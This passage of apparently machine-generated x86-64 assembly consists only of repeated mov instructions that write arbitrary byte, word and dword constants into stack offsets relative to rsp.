mov word [rsp + 0x1e00], ax
mov dword [rsp + 0x8944], 0x21dc8861
mov dword [rsp + 0x8948], 0x3adc
mov dword [rsp + 0x894c], 0x1068
mov dword [rsp + 0x8950], 0x3d85a67e
mov byte [rsp + 0x3e6], 0xf2
mov dword [rsp + 0x8954], 0xe95bcd7
mov eax, 0x281
mov word [rsp + 0x1e04], ax
mov dword [rsp + 0x8958], 0x5f21529e
mov dword [rsp + 0x895c], 0x3025
mov dword [rsp + 0x8960], 0xbf7b
mov byte [rsp + 0x3e7], 0xd8
mov dword [rsp + 0x8964], 0x886f
mov dword [rsp + 0x8968], 0xbc5f
mov dword [rsp + 0x896c], 0x4bd6f2a5
mov dword [rsp + 0x8970], 0x4b80a28b
mov dword [rsp + 0x8974], 0x16e7aef
mov byte [rsp + 0x3e8], 0x5e
mov dword [rsp + 0x8978], 0x916e
mov dword [rsp + 0x897c], 0x78787b68
mov eax, 0x50c
mov word [rsp + 0x1e08], ax
mov dword [rsp + 0x8980], 0x780e
mov byte [rsp + 0x3e9], 0x7a
mov eax, 0x1c8
mov word [rsp + 0x1e0c], ax
mov dword [rsp + 0x8984], 0x2437
mov eax, 0x73f
mov word [rsp + 0x1e10], ax
mov eax, 0xeb7
mov word [rsp + 0x1e14], ax
mov dword [rsp + 0x8988], 0x5b55eaf9
mov dword [rsp + 0x898c], 0x778
mov dword [rsp + 0x8990], 0x18aa4c22
mov dword [rsp + 0x8994], 0xa8c0
mov eax, 0x4cf
mov word [rsp + 0x1e18], ax
mov byte [rsp + 0x3ea], 0x7f
mov dword [rsp + 0x8998], 0x5e7ab36b
mov dword [rsp + 0x899c], 0x51df503f
mov dword [rsp + 0x89a0], 0xefa36f6
mov dword [rsp + 0x89a4], 0x2e873bb8
mov eax, 0xa0e
mov word [rsp + 0x1e1c], ax
mov dword [rsp + 0x89a8], 0x5c7ee87e
mov eax, 0x3ce
mov word [rsp + 0x1e20], ax
mov dword [rsp + 0x89ac], 0x166636ee
mov byte [rsp + 0x3eb], 0x24
mov dword [rsp + 0x89b0], 0x7ba9bc0e
mov eax, 0x658
mov word [rsp + 0x1e24], ax
mov dword [rsp + 0x89b4], 0x345faf6e
mov dword [rsp + 0x89b8], 0xfb76bb0
mov dword [rsp + 0x89bc], 0x2c5175ea
mov dword [rsp + 0x89c0], 0x502b2930
mov dword [rsp + 0x89c4], 0x26481225
mov dword [rsp + 0x89c8], 0xe7f0
mov dword [rsp + 0x89cc], 0x70b6d4c1
mov dword [rsp + 0x89d0], 0x168d9ddb
mov eax, 0x8ca
mov word [rsp + 0x1e28], ax
mov eax, 0xe7e
mov word [rsp + 0x1e2c], ax
mov dword [rsp + 0x89d4], 0xf908
mov eax, 0x805
mov word [rsp + 0x1e30], ax
mov byte [rsp + 0x3ec], 0x6a
mov dword [rsp + 0x89d8], 0x656195b2
mov eax, 0xe2d
mov word [rsp + 0x1e34], ax
mov eax, 0x943
mov word [rsp + 0x1e38], ax
mov eax, 0x266
mov word [rsp + 0x1e3c], ax
mov dword [rsp + 0x89dc], 0x404a8bea
mov byte [rsp + 0x3ed], 0x54
mov dword [rsp + 0x89e0], 0x1e8
mov dword [rsp + 0x89e4], 0x7e06115f
mov eax, 0x778
mov word [rsp + 0x1e40], ax
mov dword [rsp + 0x89e8], 0x41a0
mov byte [rsp + 0x3ee], 0x2e
mov dword [rsp + 0x89ec], 0x100d
mov eax, 0xe30
mov word [rsp + 0x1e44], ax
mov dword [rsp + 0x89f0], 0x65c4897e
mov eax, 0x52
mov word [rsp + 0x1e48], ax
mov dword [rsp + 0x89f4], 0xb069
mov byte [rsp + 0x3ef], 0x4e
mov byte [rsp + 0x3f0], 0x62
mov dword [rsp + 0x89f8], 0x784c7608
mov dword [rsp + 0x89fc], 0x4caf6eae
mov byte [rsp + 0x3f1], 0xda
mov dword [rsp + 0x8a00], 0xb36f
mov byte [rsp + 0x3f2], 0x2b
mov dword [rsp + 0x8a04], 0x75f3b669
mov dword [rsp + 0x8a08], 0x7ed8d9f
mov eax, 0xbe7
mov word [rsp + 0x1e4c], ax
mov dword [rsp + 0x8a0c], 0x17e82064
mov eax, 0xa29
mov word [rsp + 0x1e50], ax
mov dword [rsp + 0x8a10], 0x6f9f8b1
mov dword [rsp + 0x8a14], 0xdf8e
mov eax, 0x69b
mov word [rsp + 0x1e54], ax
mov dword [rsp + 0x8a18], 0x7988d8c1
mov byte [rsp + 0x3f3], 0x52
mov dword [rsp + 0x8a1c], 0x3074
mov dword [rsp + 0x8a20], 0x9702
mov dword [rsp + 0x8a24], 0xb405
mov dword [rsp + 0x8a28], 0x2e9a114a
mov dword [rsp + 0x8a2c], 0x72fcadd7
mov dword [rsp + 0x8a30], 0x27ff7ac9
mov eax, 0x18f
mov word [rsp + 0x1e58], ax
mov dword [rsp + 0x8a34], 0xfe43
mov eax, 0x58a
mov word [rsp + 0x1e5c], ax
mov dword [rsp + 0x8a38], 0x61a5a20c
mov dword [rsp + 0x8a3c], 0x9c22
mov eax, 0x7ed
mov word [rsp + 0x1e60], ax
mov eax, 0x16f
mov word [rsp + 0x1e64], ax
mov dword [rsp + 0x8a40], 0xf197
mov dword [rsp + 0x8a44], 0x73ce75d1
mov dword [rsp + 0x8a48], 0x109b3b9a
mov dword [rsp + 0x8a4c], 0x5f41556d
mov eax, 0xa8e
mov word [rsp + 0x1e68], ax
mov eax, 0x7ec
mov word [rsp + 0x1e6c], ax
mov dword [rsp + 0x8a50], 0x3cce310a
mov byte [rsp + 0x3f4], 0x8f
mov dword [rsp + 0x8a54], 0x3e8070e9
mov byte [rsp + 0x3f5], 0x12
mov dword [rsp + 0x8a58], 0x59b7569a
mov dword [rsp + 0x8a5c], 0x46af9d2
mov dword [rsp + 0x8a60], 0x7ca8
mov dword [rsp + 0x8a64], 0x3f3d210b
mov byte [rsp + 0x3f6], 1
mov eax, 0x74e
mov word [rsp + 0x1e70], ax
mov byte [rsp + 0x3f7], 0x10
mov dword [rsp + 0x8a68], 0x3ee8a2c7
mov dword [rsp + 0x8a6c], 0x64b1620b
mov eax, 0xfc8
mov word [rsp + 0x1e74], ax
mov byte [rsp + 0x3f8], 0x6c
mov eax, 0x39a
mov word [rsp + 0x1e78], ax
mov dword [rsp + 0x8a70], 0x15ef4027
mov byte [rsp + 0x3f9], 0xa8
mov eax, 0x2f5
mov word [rsp + 0x1e7c], ax
mov dword [rsp + 0x8a74], 0x650fe4bb
mov dword [rsp + 0x8a78], 0x3957
mov dword [rsp + 0x8a7c], 0xb371
mov dword [rsp + 0x8a80], 0x5f0d3c37
mov dword [rsp + 0x8a84], 0xc289
mov dword [rsp + 0x8a88], 0x4c580208
mov dword [rsp + 0x8a8c], 0x2e136d6e
mov dword [rsp + 0x8a90], 0x3432
mov byte [rsp + 0x3fa], 0xa8
mov dword [rsp + 0x8a94], 0x21b66803
mov dword [rsp + 0x8a98], 0x1aca3249
mov byte [rsp + 0x3fb], 0x74
mov dword [rsp + 0x8a9c], 0x67da478b
mov byte [rsp + 0x3fc], 0x34
mov byte [rsp + 0x3fd], 0xf8
mov dword [rsp + 0x8aa0], 0x7754cd60
mov dword [rsp + 0x8aa4], 0xbf7
mov byte [rsp + 0x3fe], 0xa5
mov dword [rsp + 0x8aa8], 0x51b9460a
mov dword [rsp + 0x8aac], 0xcd71
mov eax, 0xf7b
mov word [rsp + 0x1e80], ax
mov dword [rsp + 0x8ab0], 0x1fa4440a
mov dword [rsp + 0x8ab4], 0xd294
mov dword [rsp + 0x8ab8], 0x37962da5
mov dword [rsp + 0x8abc], 0xa61b
mov byte [rsp + 0x3ff], 0xc
mov eax, 0x716
mov word [rsp + 0x1e84], ax
mov dword [rsp + 0x8ac0], 0x61499760
mov byte [rsp + 0x400], 0x2c
mov eax, 0x614
mov word [rsp + 0x1e88], ax
mov dword [rsp + 0x8ac4], 0x1e97582c
mov dword [rsp + 0x8ac8], 0x4fb4a7e4
mov dword [rsp + 0x8acc], 0xf535e88
mov dword [rsp + 0x8ad0], 0x560482b
mov dword [rsp + 0x8ad4], 0x3094fc67
mov byte [rsp + 0x401], 0x22
mov dword [rsp + 0x8ad8], 0x9e58
mov byte [rsp + 0x402], 0x91
mov dword [rsp + 0x8adc], 0xf7edc36
mov eax, 0xcde
mov word [rsp + 0x1e8c], ax
mov dword [rsp + 0x8ae0], 0xe7f6
mov eax, 0x707
mov word [rsp + 0x1e90], ax
mov dword [rsp + 0x8ae4], 0x35cad1bb
mov byte [rsp + 0x403], 0x34
mov dword [rsp + 0x8ae8], 0xda67
mov dword [rsp + 0x8aec], 0x5db5037c
mov byte [rsp + 0x404], 0x46
mov dword [rsp + 0x8af0], 0x25864af
mov byte [rsp + 0x405], 0xb7
mov eax, 0x4ba
mov word [rsp + 0x1e94], ax
mov dword [rsp + 0x8af4], 0xb609
mov dword [rsp + 0x8af8], 0x3012d428
mov dword [rsp + 0x8afc], 0x3bed3596
mov dword [rsp + 0x8b00], 0x70c995b0
mov eax, 0x27
mov word [rsp + 0x1e98], ax
mov byte [rsp + 0x406], 0xf3
mov dword [rsp + 0x8b04], 0x1d7ff91d
mov eax, 0x82a
mov word [rsp + 0x1e9c], ax
mov dword [rsp + 0x8b08], 0x5010
mov eax, 0x513
mov word [rsp + 0x1ea0], ax
mov dword [rsp + 0x8b0c], 0x7d7c492
mov dword [rsp + 0x8b10], 0x117e5213
mov eax, 0xb18
mov word [rsp + 0x1ea4], ax
mov dword [rsp + 0x8b14], 0x18c3
mov dword [rsp + 0x8b18], 0xb6f
mov eax, 0x5df
mov word [rsp + 0x1ea8], ax
mov dword [rsp + 0x8b1c], 0x4f4d
mov dword [rsp + 0x8b20], 0x71ddc8bd
mov dword [rsp + 0x8b24], 0x4c5b
mov dword [rsp + 0x8b28], 0x3ca04cf1
mov dword [rsp + 0x8b2c], 0x71ff
mov dword [rsp + 0x8b30], 0x1267bfa1
mov dword [rsp + 0x8b34], 0x40b46480
mov dword [rsp + 0x8b38], 0x6bd95f16
mov dword [rsp + 0x8b3c], 0x41baa2eb
mov dword [rsp + 0x8b40], 0x53cd9cd7
mov dword [rsp + 0x8b44], 0x514
mov dword [rsp + 0x8b48], 0x3a64b51c
mov dword [rsp + 0x8b4c], 0x89ae
mov dword [rsp + 0x8b50], 0x7f04
mov dword [rsp + 0x8b54], 0x19796dde
mov byte [rsp + 0x407], 0x64
mov byte [rsp + 0x408], 0xe9
mov dword [rsp + 0x8b58], 0x6f93bced
mov dword [rsp + 0x8b5c], 0x6daa
mov eax, 0x112
mov word [rsp + 0x1eac], ax
mov dword [rsp + 0x8b60], 0xa9cc
mov dword [rsp + 0x8b64], 0x1205453b
mov dword [rsp + 0x8b68], 0x470a6925
mov dword [rsp + 0x8b6c], 0xcb2
mov eax, 0x40d
mov word [rsp + 0x1eb0], ax
mov dword [rsp + 0x8b70], 0x7586
mov dword [rsp + 0x8b74], 0x6e585b
mov dword [rsp + 0x8b78], 0xa5e81c2
mov eax, 0x17b
mov word [rsp + 0x1eb4], ax
mov eax, 0x51a
mov word [rsp + 0x1eb8], ax
mov dword [rsp + 0x8b7c], 0x6c417c09
mov dword [rsp + 0x8b80], 0x9bb
mov dword [rsp + 0x8b84], 0x77634138
mov dword [rsp + 0x8b88], 0x35055645
mov dword [rsp + 0x8b8c], 0xf81e
mov dword [rsp + 0x8b90], 0x1f2812c5
mov dword [rsp + 0x8b94], 0xb7cf
mov dword [rsp + 0x8b98], 0x396615c6
mov byte [rsp + 0x409], 0x1b
mov byte [rsp + 0x40a], 0xde
mov eax, 0x741
mov word [rsp + 0x1ebc], ax
mov dword [rsp + 0x8b9c], 0xd66a3ba
mov byte [rsp + 0x40b], 0x5f
mov dword [rsp + 0x8ba0], 0x24c7
mov byte [rsp + 0x40c], 0x20
mov dword [rsp + 0x8ba4], 0x6fc6e5d5
mov byte [rsp + 0x40d], 0x9e
mov dword [rsp + 0x8ba8], 0xc51c
mov dword [rsp + 0x8bac], 0x3c2dee5a
mov byte [rsp + 0x40e], 0x61
mov dword [rsp + 0x8bb0], 0x4e9eb67e
mov eax, 0xbf6
mov word [rsp + 0x1ec0], ax
mov dword [rsp + 0x8bb4], 0x66f244ef
mov dword [rsp + 0x8bb8], 0x57d9c256
mov dword [rsp + 0x8bbc], 0x2f47855a
mov dword [rsp + 0x8bc0], 0x50069e56
mov dword [rsp + 0x8bc4], 0xc909dd2
mov dword [rsp + 0x8bc8], 0x31b33179
mov dword [rsp + 0x8bcc], 0xefc3e3
mov dword [rsp + 0x8bd0], 0x139dbcd
mov byte [rsp + 0x40f], 0xb5
mov eax, 0x83d
mov word [rsp + 0x1ec4], ax
mov dword [rsp + 0x8bd4], 0x22e805e9
mov dword [rsp + 0x8bd8], 0x29e55eae
mov dword [rsp + 0x8bdc], 0x48fc4206
mov dword [rsp + 0x8be0], 0x5f58c609
mov dword [rsp + 0x8be4], 0x41a3
mov dword [rsp + 0x8be8], 0x32607329
mov byte [rsp + 0x410], 0x51
mov dword [rsp + 0x8bec], 0x6cdf08e
mov dword [rsp + 0x8bf0], 0x26399bf8
mov byte [rsp + 0x411], 0xec
mov dword [rsp + 0x8bf4], 0x57e98f54
mov dword [rsp + 0x8bf8], 0xe3a0
mov dword [rsp + 0x8bfc], 0xc9a5
mov eax, 0xc61
mov word [rsp + 0x1ec8], ax
mov dword [rsp + 0x8c00], 0x5690e93c
mov eax, 0xee0
mov word [rsp + 0x1ecc], ax
mov dword [rsp + 0x8c04], 0x87a1712
mov dword [rsp + 0x8c08], 0xfa1a
mov dword [rsp + 0x8c0c], 0x2bf9
mov eax, 0x66a
mov word [rsp + 0x1ed0], ax
mov eax, 0x185
mov word [rsp + 0x1ed4], ax
mov dword [rsp + 0x8c10], 0x3d108612
mov dword [rsp + 0x8c14], 0x3984f9a0
mov dword [rsp + 0x8c18], 0x13149744
mov byte [rsp + 0x412], 0xd3
mov dword [rsp + 0x8c1c], 0x4423bd58
mov eax, 0x1ad
mov word [rsp + 0x1ed8], ax
mov byte [rsp + 0x413], 0xe2
mov eax, 0x645
mov word [rsp + 0x1edc], ax
mov dword [rsp + 0x8c20], 0x396a1cf6
mov eax, 0x358
mov word [rsp + 0x1ee0], ax
mov eax, 0x2f
mov word [rsp + 0x1ee4], ax
mov eax, 0x166
mov word [rsp + 0x1ee8], ax
mov eax, 0xbfa
mov word [rsp + 0x1eec], ax
mov eax, 0x6e4
mov word [rsp + 0x1ef0], ax
mov eax, 0x57
mov word [rsp + 0x1ef4], ax
mov dword [rsp + 0x8c24], 0x3f87
mov dword [rsp + 0x8c28], 0x251b60b4
mov dword [rsp + 0x8c2c], 0xbd5a
mov byte [rsp + 0x414], 0xb8
mov byte [rsp + 0x415], 0xf0
mov dword [rsp + 0x8c30], 0xa09
mov dword [rsp + 0x8c34], 0x2b98
mov byte [rsp + 0x416], 0xd9
mov dword [rsp + 0x8c38], 0x25b19881
mov dword [rsp + 0x8c3c], 0x5eef1e0d
mov eax, 0x94
mov word [rsp + 0x1ef8], ax
mov dword [rsp + 0x8c40], 0x28bc6889
mov dword [rsp + 0x8c44], 0x3ebb
mov byte [rsp + 0x417], 0x73
mov eax, 0x458
mov word [rsp + 0x1efc], ax
mov dword [rsp + 0x8c48], 0x2d1244da
mov eax, 0xd1e
mov word [rsp + 0x1f00], ax
mov dword [rsp + 0x8c4c], 0xaed7
mov eax, 0xd3a
mov word [rsp + 0x1f04], ax
mov dword [rsp + 0x8c50], 0xa31e933
mov byte [rsp + 0x418], 0x16
mov eax, 0xd53
mov word [rsp + 0x1f08], ax
mov dword [rsp + 0x8c54], 0x340d6774
mov byte [rsp + 0x419], 0x2a
mov eax, 0x7a1
mov word [rsp + 0x1f0c], ax
mov byte [rsp + 0x41a], 0x93
mov eax, 0x76e
mov word [rsp + 0x1f10], ax
mov dword [rsp + 0x8c58], 0x181f4749
mov dword [rsp + 0x8c5c], 0xe556
mov dword [rsp + 0x8c60], 0x97d3be8
mov dword [rsp + 0x8c64], 0x8527
mov eax, 0x40e
mov word [rsp + 0x1f14], ax
mov dword [rsp + 0x8c68], 0x207020cf
mov byte [rsp + 0x41b], 0x33
mov dword [rsp + 0x8c6c], 0xec70395
mov dword [rsp + 0x8c70], 0x8e598ee
mov dword [rsp + 0x8c74], 0x40802527
mov eax, 0xfd8
mov word [rsp + 0x1f18], ax
mov dword [rsp + 0x8c78], 0x3bbde7f4
mov eax, 0x4d9
mov word [rsp + 0x1f1c], ax
mov dword [rsp + 0x8c7c], 0xc302
mov dword [rsp + 0x8c80], 0x40019515
mov dword [rsp + 0x8c84], 0x1b3ba2ff
mov dword [rsp + 0x8c88], 0x51f85a83
mov dword [rsp + 0x8c8c], 0xe659
mov dword [rsp + 0x8c90], 0xabb7
mov dword [rsp + 0x8c94], 0xd7a6256
mov dword [rsp + 0x8c98], 0xfbb3
mov byte [rsp + 0x41c], 0x34
mov byte [rsp + 0x41d], 0xc1
mov dword [rsp + 0x8c9c], 0x50650f34
mov dword [rsp + 0x8ca0], 0xb256
mov dword [rsp + 0x8ca4], 0x1a07376e
mov dword [rsp + 0x8ca8], 0x38c1
mov dword [rsp + 0x8cac], 0x8cfa
mov eax, 0xe61
mov word [rsp + 0x1f20], ax
mov eax, 0x267
mov word [rsp + 0x1f24], ax
mov dword [rsp + 0x8cb0], 0x1e22
mov eax, 0x85e
mov word [rsp + 0x1f28], ax
mov dword [rsp + 0x8cb4], 0x445b5e91
mov dword [rsp + 0x8cb8], 0x34043a92
mov dword [rsp + 0x8cbc], 0x5454
mov dword [rsp + 0x8cc0], 0x6b7a
mov eax, 0x17b
mov word [rsp + 0x1f2c], ax
mov eax, 0x5d6
mov word [rsp + 0x1f30], ax
mov eax, 0x105
mov word [rsp + 0x1f34], ax
mov eax, 0x47f
mov word [rsp + 0x1f38], ax
mov eax, 0x55d
mov word [rsp + 0x1f3c], ax
mov eax, 0x86
mov word [rsp + 0x1f40], ax
mov eax, 0x72
mov word [rsp + 0x1f44], ax
mov eax, 0xa40
mov word [rsp + 0x1f48], ax
mov dword [rsp + 0x8cc4], 0xff5
mov dword [rsp + 0x8cc8], 0x1e4b3e6b
mov eax, 0xc41
mov word [rsp + 0x1f4c], ax
mov byte [rsp + 0x41e], 0xb
mov byte [rsp + 0x41f], 0xbe
mov dword [rsp + 0x8ccc], 0x371b
mov dword [rsp + 0x8cd0], 0x7be3e3fc
mov dword [rsp + 0x8cd4], 0x9cd3
mov byte [rsp + 0x420], 0xba
mov dword [rsp + 0x8cd8], 0x27376e0b
mov dword [rsp + 0x8cdc], 0xdbcc
mov eax, 0x6f7
mov word [rsp + 0x1f50], ax
mov dword [rsp + 0x8ce0], 0x68ff5326
mov dword [rsp + 0x8ce4], 0xddfa
mov eax, 0x229
mov word [rsp + 0x1f54], ax
mov dword [rsp + 0x8ce8], 0xf855
mov dword [rsp + 0x8cec], 0x47396d94
mov eax, 0x49
mov word [rsp + 0x1f58], ax
mov eax, 0x4e9
mov word [rsp + 0x1f5c], ax
mov dword [rsp + 0x8cf0], 0x740cb51d
mov dword [rsp + 0x8cf4], 0x233d
mov eax, 0xe95
mov word [rsp + 0x1f60], ax
mov dword [rsp + 0x8cf8], 0x141c
mov eax, 0xd90
mov word [rsp + 0x1f64], ax
mov dword [rsp + 0x8cfc], 0x22a2
mov dword [rsp + 0x8d00], 0x5c0d
mov byte [rsp + 0x421], 0x3b
mov dword [rsp + 0x8d04], 0x525c0517
mov dword [rsp + 0x8d08], 0xc8d3928
mov byte [rsp + 0x422], 0x29
mov eax, 0xea2
mov word [rsp + 0x1f68], ax
mov eax, 0xfcf
mov word [rsp + 0x1f6c], ax
mov byte [rsp + 0x423], 0x79
mov eax, 0x91d
mov word [rsp + 0x1f70], ax
mov dword [rsp + 0x8d0c], 0x6ee5
mov dword [rsp + 0x8d10], 0x7c610aa4
mov byte [rsp + 0x424], 0xd3
mov eax, 0x2cc
mov word [rsp + 0x1f74], ax
mov eax, 0x35c
mov word [rsp + 0x1f78], ax
mov eax, 0x1ed
mov word [rsp + 0x1f7c], ax
mov dword [rsp + 0x8d14], 0x3ed275be
mov dword [rsp + 0x8d18], 0xf2d8
mov eax, 0xad8
mov word [rsp + 0x1f80], ax
mov dword [rsp + 0x8d1c], 0x5b92
mov eax, 0x6f7
mov word [rsp + 0x1f84], ax
mov dword [rsp + 0x8d20], 0x7066
mov eax, 0x64e
mov word [rsp + 0x1f88], ax
mov dword [rsp + 0x8d24], 0x2a55
mov dword [rsp + 0x8d28], 0x6a2c8639
mov dword [rsp + 0x8d2c], 0xf596a85
mov dword [rsp + 0x8d30], 0x79de2846
mov dword [rsp + 0x8d34], 0xf8af
mov dword [rsp + 0x8d38], 0x7dc69309
mov dword [rsp + 0x8d3c], 0x30a84ff3
mov eax, 0x68b
mov word [rsp + 0x1f8c], ax
mov byte [rsp + 0x425], 0x7d
mov eax, 0x7e6
mov word [rsp + 0x1f90], ax
mov eax, 0x390
mov word [rsp + 0x1f94], ax
mov byte [rsp + 0x426], 0x63
mov dword [rsp + 0x8d40], 0x416e046e
mov byte [rsp + 0x427], 0x5f
mov dword [rsp + 0x8d44], 0x290f7b2e
mov byte [rsp + 0x428], 0x2d
mov dword [rsp + 0x8d48], 0x6035
mov dword [rsp + 0x8d4c], 0xc70f
mov byte [rsp + 0x429], 0x42
mov eax, 0x116
mov word [rsp + 0x1f98], ax
mov byte [rsp + 0x42a], 0x13
mov dword [rsp + 0x8d50], 0x400ad947
mov dword [rsp + 0x8d54], 0xc6a6353
mov dword [rsp + 0x8d58], 0x61ccdd0b
mov eax, 0xc5
mov word [rsp + 0x1f9c], ax
mov dword [rsp + 0x8d5c], 0xf88f
mov eax, 0x48d
mov word [rsp + 0x1fa0], ax
mov eax, 0x62d
mov word [rsp + 0x1fa4], ax
mov dword [rsp + 0x8d60], 0x161c
mov dword [rsp + 0x8d64], 0x76f8df55
mov byte [rsp + 0x42b], 0x72
mov dword [rsp + 0x8d68], 0x70abe5f4
mov eax, 0xf73
mov word [rsp + 0x1fa8], ax
mov byte [rsp + 0x42c], 0xe7
mov dword [rsp + 0x8d6c], 0xd619
mov byte [rsp + 0x42d], 0x55
mov dword [rsp + 0x8d70], 0xb5ca
mov dword [rsp + 0x8d74], 0x5881
mov eax, 0xc59
mov word [rsp + 0x1fac], ax
mov byte [rsp + 0x42e], 0xd6
mov dword [rsp + 0x8d78], 0x5f25f5d2
mov dword [rsp + 0x8d7c], 0x28a4
mov dword [rsp + 0x8d80], 0x72d837ed
mov dword [rsp + 0x8d84], 0xd772
mov dword [rsp + 0x8d88], 0x9176
mov dword [rsp + 0x8d8c], 0x708327a3
mov eax, 0xae7
mov word [rsp + 0x1fb0], ax
mov dword [rsp + 0x8d90], 0x2b97b35
mov byte [rsp + 0x42f], 0x6d
mov byte [rsp + 0x430], 0x52
mov eax, 0x6af
mov word [rsp + 0x1fb4], ax
mov dword [rsp + 0x8d94], 0x5c35
mov byte [rsp + 0x431], 0x1a
mov byte [rsp + 0x432], 0x22
mov dword [rsp + 0x8d98], 0x7299
mov byte [rsp + 0x433], 0x40
mov eax, 0x707
mov word [rsp + 0x1fb8], ax
mov dword [rsp + 0x8d9c], 0x53d48b0c
mov dword [rsp + 0x8da0], 0x7e8772b8
mov dword [rsp + 0x8da4], 0x6343
mov dword [rsp + 0x8da8], 0xcbdf
mov eax, 0x86c
mov word [rsp + 0x1fbc], ax
mov byte [rsp + 0x434], 0x5b
mov byte [rsp + 0x435], 0xf
mov byte [rsp + 0x436], 0xad
mov dword [rsp + 0x8dac], 0x5f41f30a
mov eax, 0x1f8
mov word [rsp + 0x1fc0], ax
mov eax, 0x229
mov word [rsp + 0x1fc4], ax
mov eax, 0xd9
mov word [rsp + 0x1fc8], ax
mov dword [rsp + 0x8db0], 0xaf9e
mov dword [rsp + 0x8db4], 0x2a8beb53
mov byte [rsp + 0x437], 0x37
mov byte [rsp + 0x438], 0x3f
mov dword [rsp + 0x8db8], 0xb85e56a
mov eax, 0x7e
mov word [rsp + 0x1fcc], ax
mov byte [rsp + 0x439], 0xb4
mov byte [rsp + 0x43a], 0xea
mov dword [rsp + 0x8dbc], 0xfcda
mov eax, 0x63
mov word [rsp + 0x1fd0], ax
mov dword [rsp + 0x8dc0], 0x35c3654
mov eax, 0x5b2
mov word [rsp + 0x1fd4], ax
mov dword [rsp + 0x8dc4], 0xb606
mov dword [rsp + 0x8dc8], 0xbae
mov dword [rsp + 0x8dcc], 0x16352fc2
mov byte [rsp + 0x43b], 0xa
mov byte [rsp + 0x43c], 0x74
mov dword [rsp + 0x8dd0], 0x1c58618c
mov dword [rsp + 0x8dd4], 0xf7b1848
mov eax, 0x35
mov word [rsp + 0x1fd8], ax
mov byte [rsp + 0x43d], 0x8c
mov dword [rsp + 0x8dd8], 0x37f7304e
mov dword [rsp + 0x8ddc], 0x23d97f7d
mov eax, 0x757
mov word [rsp + 0x1fdc], ax
mov dword [rsp + 0x8de0], 0x34f3
mov dword [rsp + 0x8de4], 0xdb19
mov byte [rsp + 0x43e], 0x75
mov eax, 0x565
mov word [rsp + 0x1fe0], ax
mov eax, 0x85
mov word [rsp + 0x1fe4], ax
mov dword [rsp + 0x8de8], 0xf7e3
mov dword [rsp + 0x8dec], 0x7fe2
mov eax, 0x15e
mov word [rsp + 0x1fe8], ax
mov byte [rsp + 0x43f], 0xd1
mov dword [rsp + 0x8df0], 0x3e76
mov dword [rsp + 0x8df4], 0x249e
mov dword [rsp + 0x8df8], 0x55f2b81c
mov dword [rsp + 0x8dfc], 0x5339b530
mov dword [rsp + 0x8e00], 0x4d881d58
mov dword [rsp + 0x8e04], 0x3bccb29d
mov eax, 0x46a
mov word [rsp + 0x1fec], ax
mov dword [rsp + 0x8e08], 0x398b2c64
mov dword [rsp + 0x8e0c], 0x8a8c
mov dword [rsp + 0x8e10], 0x53b6ebfd
mov dword [rsp + 0x8e14], 0x3a8a0492
mov byte [rsp + 0x440], 0x44
mov eax, 0x202
mov word [rsp + 0x1ff0], ax
mov dword [rsp + 0x8e18], 0x102331b6
mov dword [rsp + 0x8e1c], 0x7ad66fe9
mov byte [rsp + 0x441], 0xc
mov eax, 0x69c
mov word [rsp + 0x1ff4], ax
mov eax, 0xa12
mov word [rsp + 0x1ff8], ax
mov byte [rsp + 0x442], 0xd5
mov dword [rsp + 0x8e20], 0x1315
mov dword [rsp + 0x8e24], 0xb4f2934
mov eax, 0xec
mov word [rsp + 0x1ffc], ax
mov dword [rsp + 0x8e28], 0x7abd
mov eax, 0x5c
mov word [rsp + 0x2000], ax
mov dword [rsp + 0x8e2c], 0x540ba14
mov dword [rsp + 0x8e30], 0xc176f7
mov dword [rsp + 0x8e34], 0xfa6
mov eax, 0x7ce
mov word [rsp + 0x2004], ax
mov byte [rsp + 0x443], 0xe8
mov dword [rsp + 0x8e38], 0xa820
mov eax, 0x598
mov word [rsp + 0x2008], ax
mov byte [rsp + 0x444], 0xa8
mov byte [rsp + 0x445], 0x41
mov byte [rsp + 0x446], 0x30
mov dword [rsp + 0x8e3c], 0x2c0ab9d8
mov eax, 0x394
mov word [rsp + 0x200c], ax
mov dword [rsp + 0x8e40], 0x1b08cbcd
mov dword [rsp + 0x8e44], 0x31bb4ded
mov dword [rsp + 0x8e48], 0x601858cf
mov dword [rsp + 0x8e4c], 0x74620489
mov dword [rsp + 0x8e50], 0x58702702
mov dword [rsp + 0x8e54], 0xefac
mov dword [rsp + 0x8e58], 0x1e9e89fe
mov byte [rsp + 0x447], 0x74
mov dword [rsp + 0x8e5c], 0x6f427d2
mov dword [rsp + 0x8e60], 0x1e4179bf
mov dword [rsp + 0x8e64], 0x5ea203c5
mov byte [rsp + 0x448], 0x25
mov eax, 0x492
mov word [rsp + 0x2010], ax
mov byte [rsp + 0x449], 0x42
mov byte [rsp + 0x44a], 0xd9
mov eax, 0xc0a
mov word [rsp + 0x2014], ax
mov byte [rsp + 0x44b], 0x1d
mov byte [rsp + 0x44c], 0x19
mov dword [rsp + 0x8e68], 0x7033f5e9
mov byte [rsp + 0x44d], 0xf0
mov dword [rsp + 0x8e6c], 0x6bc7
mov dword [rsp + 0x8e70], 0x269ff261
mov byte [rsp + 0x44e], 0xfe
mov eax, 0x508
mov word [rsp + 0x2018], ax
mov dword [rsp + 0x8e74], 0x55e79fac
mov dword [rsp + 0x8e78], 0x762334d0
mov dword [rsp + 0x8e7c], 0x5965
mov byte [rsp + 0x44f], 0x8b
mov eax, 0x23e
mov word [rsp + 0x201c], ax
mov byte [rsp + 0x450], 0x63
mov dword [rsp + 0x8e80], 0x14c70a81
mov dword [rsp + 0x8e84], 0x3a4e535c
mov byte [rsp + 0x451], 9
mov dword [rsp + 0x8e88], 0xd506
mov dword [rsp + 0x8e8c], 0x538a1a16
mov eax, 0xbb4
mov word [rsp + 0x2020], ax
mov dword [rsp + 0x8e90], 0x7780a5f0
mov dword [rsp + 0x8e94], 0x12ef595
mov byte [rsp + 0x452], 0x4e
mov eax, 0xd3
mov word [rsp + 0x2024], ax
mov dword [rsp + 0x8e98], 0x6c09
mov byte [rsp + 0x453], 0x21
mov dword [rsp + 0x8e9c], 0x62f24bb8
mov dword [rsp + 0x8ea0], 0x1b5469be
mov dword [rsp + 0x8ea4], 0x47f73ad8
mov dword [rsp + 0x8ea8], 0x52d8cda9
mov eax, 0x259
mov word [rsp + 0x2028], ax
mov eax, 0x62f
mov word [rsp + 0x202c], ax
mov dword [rsp + 0x8eac], 0x6ef3
mov dword [rsp + 0x8eb0], 0xb644
mov byte [rsp + 0x454], 0x16
mov eax, 0xb68
mov word [rsp + 0x2030], ax
mov dword [rsp + 0x8eb4], 0x4fb9c8cb
mov dword [rsp + 0x8eb8], 0x9c02
mov byte [rsp + 0x455], 0x7e
